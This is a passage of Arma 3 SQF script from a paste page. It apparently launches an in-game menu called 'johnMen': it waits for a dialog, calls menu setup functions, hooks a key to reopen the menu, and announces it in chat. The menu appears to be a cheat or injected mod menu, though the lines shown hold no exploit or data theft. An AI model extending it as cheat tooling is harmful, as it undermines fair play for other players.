  2569. disableSerialization;
  2570. waitUntil{!isNull (findDisplay 129)};
  2571. _display = findDisplay 129;
  2572.  
  2573. _display call fixjohnMen;
  2574. _display call g_en_Sr_ipts;
  2575. _display call genPlayers;
  2576. tempArray = johnMenScripts;
  2577. if (_ok) then {
  2578. };
  2579. disableUserInput false;
  2580. };
  2581.  
  2582. [] spawn {
  2583. _count = 0;
  2584. while{true} do {
  2585. if(inputAction "NightVision" > 0) then {
  2586. if(isNull (findDisplay 129)) then {
  2587. [] spawn startjohnMen;
  2588. };
  2589. sleep 0.5;
  2590. };
  2591. sleep 0.001;
  2592. _count = _count + 1;
  2593. };
  2594. };
  2595. systemchat "Ran johnMen Initiated. Press (B) to open.";
  2596. };
  2597.  
  2598. [] spawn rarnjohnMen;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement